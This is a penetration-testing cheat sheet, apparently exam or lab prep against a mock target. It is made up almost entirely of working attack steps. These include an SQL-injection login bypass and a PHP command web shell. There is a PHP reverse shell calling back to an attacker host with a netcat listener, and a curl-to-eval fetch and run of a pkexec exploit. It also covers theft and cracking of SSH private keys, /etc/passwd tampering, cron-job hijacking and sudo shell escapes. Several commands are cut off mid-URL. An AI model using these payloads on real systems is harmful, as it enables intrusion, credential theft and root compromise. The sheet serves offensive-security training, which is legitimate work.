ip a
ip a → look at eth0, IP address is there with subnet e.g. 10.10.1.2/24 → get network subnet
nmap
nmap 10.10.1.2/24 → scan network subnet (ignore your own IP and gateway, usually 10.10.1.1)
Mock test: target IP 10.10.1.3, output shows HTTP and SSH ports open
nmap -A
nmap -A 10.10.1.3 → aggressive scan to get all details
ssh
ssh username@ip_address → SSH into target (you can then run vim)
If HTTP is open (port 80):
Open Firefox and connect to http://10.10.1.3
Directory brute‑force
gobuster dir -u http://
WPScan – enumerate
wpscan --url http://
WPScan – brute‑force passwords
wpscan --url http://
Nikto
nikto -h http://
If you see PHP code like:
$file = $_GET['file']; include($file);
Enter in browser:
http://
Then brute‑force the password and SSH in.
Sometimes entering admin' # into an admin login username field changes the query to comment out the password → login without password.
Upload a PHP file containing:
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>
After upload, go to:
http://
If FTP is open (port 21):
ftp 10.10.1.3 → try anonymous login: username anonymous, password (leave blank).
sqlmap -u "http://
sqlmap -u "http://
sqlmap -u "http://
Crack the MD5 hashes of passwords dumped from the ssh_users table (e.g., with John the Ripper or Hashcat).
Listener (attacker)
nc -lvnp 4444
PHP shell (if you can upload .php)
Save the following as shell.php (you can also get from https://github.com/pentestmonkey/php-reverse-shell):
<?php
// Set your attacker IP and port here
$ip = '<attacker_ip>';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Upload and browse to http://
Stabilising the shell
In the reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Background it: press Ctrl + Z
On your local Kali terminal:
stty raw -echo; fg
(Press Enter twice after this – normal to refresh the prompt)
Inside the reverse shell:
export TERM=xterm
<span style="color:red">cd .ssh</span>
<span style="color:red">cat id_rsa</span>
Copy the entire RSA key (from —BEGIN RSA PRIVATE KEY— to —END RSA PRIVATE KEY—) into a file, e.g. id_rsa.copy.
Then crack with John:
john --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt id_rsa.copy
To show cracked password:
john --show id_rsa.copy
Bruteforce a shadow/file:
john --wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt output.txt
Show cracked passwords:
john --show output.txt
Start Metasploit console:
msfconsole
Search for WordPress AJAX load more file upload exploit:
search wp_ajax_load_more
Select the exploit (use the number shown or full path):
use exploit/unix/webapp/wp_ajax_load_more_file_upload
Show required options:
show options
Set options (adjust as needed):
set RHOSTS
set RPORT
set LHOST
set WP_USERNAME
set WP_PASSWORD
Before exploiting, log in to the WordPress site manually and confirm the email notification (if any) is correct.
Run the exploit:
exploit
hydra -l username -P /usr/share/wordlists/metasploit/unix_passwords.txt
If gcc is not available, use a pure‑Python exploit (e.g., for CVE‑2021‑4034):
python3 cve-2021-4034.py
Find all SUID/SGID binaries:
find / -type f -perm -04000 -ls 2>/dev/null
Check https://gtfobins.org/ for known exploits.
Example – pkexec (CVE‑2021‑4034):
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
Alternative pure‑Python:
python3 /path/to/CVE-2021-4034.py
If a binary like nano has SUID:
1. Create a password hash for “password1” (example):
openssl passwd -1 password1
(outputs something like $1$...$hash)
2. Use nano (SUID) to edit /etc/passwd and replace a user’s password field with the hash.
3. Then switch user: su
View system cron:
cat /etc/crontab
Common schedules:
- Every minute: * * *
- Every 5 minutes: /5 * * *
- Every hour, on the hour: 0 * * *
- Every day at 2:30 AM: 30 2 * *
- Every weekday at midnight: 0 0 * * 1-5
- Twice daily (noon & midnight): 0 0,12 * * *
If a cron job runs a script you can edit (e.g., /opt/backup.sh), replace its content with a reverse shell or add a line to spawn one, then wait for execution.
Check what you can run as root:
sudo -l
Examples:
- If you can run sudo apt-get update with a pre‑invoke hook:
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"
- If you can run sudo time:
sudo time /bin/bash
- If you can run sudo nano:
1. Open nano with sudo.
2. Press Ctrl + R to read a file, then Ctrl + X to exit.
3. At the prompt, type: reset; sh 1>&0 2>&0 and press Enter → you get a root shell.
End of cheat sheet.